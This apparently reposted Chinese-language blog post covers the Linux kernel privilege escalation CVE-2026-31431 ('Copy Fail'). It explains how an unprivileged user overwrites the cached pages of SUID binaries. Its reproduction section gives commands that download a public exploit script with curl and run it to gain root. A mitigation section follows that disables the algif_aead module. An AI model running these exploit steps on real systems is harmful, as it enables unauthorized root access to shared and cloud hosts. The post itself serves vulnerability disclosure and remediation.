文章总结: CVE-2026-31431是一个Linux内核本地提权漏洞,攻击者通过本地普通用户权限即可利用该漏洞。该漏洞影响范围广泛,几乎覆盖了2017年以来所有主流Linux发行版。临时缓解措施是禁用algif_aead模块,长期修复方案是尽快升级内核到包含修复补丁的版本。
综合评分: 85
文章分类: 漏洞分析,安全运营
复现与修复指南:Linux内核本地提权漏洞Copy Fail(CVE-2026-31431)
原创
秀逗猫 秀逗猫
秀逗猫
2026年4月30日 10:24 北京
在小说阅读器读本章
去阅读
CVE-2026-31431(代号Copy Fail)是Linux内核crypto子系统中的一个逻辑漏洞。攻击者仅需本地普通用户权限,通过AF_ALG socket、splice()零拷贝机制以及authencesn模板的处理缺陷,就能精准地将受控数据写入任意可读文件的页缓存。
最致命的是,它可以直接覆盖SUID程序(如/usr/bin/su)在内存中的缓存内容,从而实现稳定、无需竞争条件的本地提权。
该漏洞影响范围极广,几乎覆盖了2017年以来(内核4.9+)的所有主流Linux发行版,包括Ubuntu、RHEL、Amazon Linux、SUSE等。未修补的系统上,一个极小的Python PoC就能可靠地拿到root权限。在补丁大规模推送之前,这类漏洞对共享服务器、云主机、多用户环境构成了严重威胁。
研究者技术博文:https://xint.io/blog/copy-fail-linux-distributions
复现指南
创建新的低权限用户
useradd -s /bin/bash -m pseudo
echo pseudo:cat@md5 | chpasswd
使用低权限用户登录ssh后,执行
curl -L -o copy_fail.py https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.py
chmod +x copy_fail.py
python3 copy_fail.py
修复指南
截至目前,多数主流Linux发行版(包括部分Ubuntu、Debian、RHEL等稳定分支)的内核安全更新尚未完全推送CVE-2026-31431的修复补丁。临时禁用algif_aead模块是目前最有效、最推荐的缓解措施。
推荐临时缓解方案:
# 1. 创建禁用配置文件(推荐用这个文件名)
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif_aead.conf
# 2. 立即尝试卸载已加载的模块
sudo rmmod algif_aead 2>/dev/null || true
# 3. 更新initramfs(Ubuntu/Debian建议执行)
sudo update-initramfs -u
# 这时候有条件的就重启服务器
# 4. 验证是否生效(应该没有任何输出)
lsmod | grep algif_aead
如果未来想启用的话:
# 1. 删除禁用配置文件(最干净的方式)
sudo rm -f /etc/modprobe.d/disable-algif_aead.conf
# 2. 立即尝试加载模块
sudo modprobe algif_aead
# 3. 验证是否加载成功
lsmod | grep algif_aead
长期修复方案:
尽快升级内核到包含修复补丁的版本(修复commit为a664bf3d603d或对应发行版的安全更新)。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:秀逗猫 秀逗猫 秀逗猫《复现与修复指南:Linux内核本地提权漏洞Copy Fail(CVE-2026-31431)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论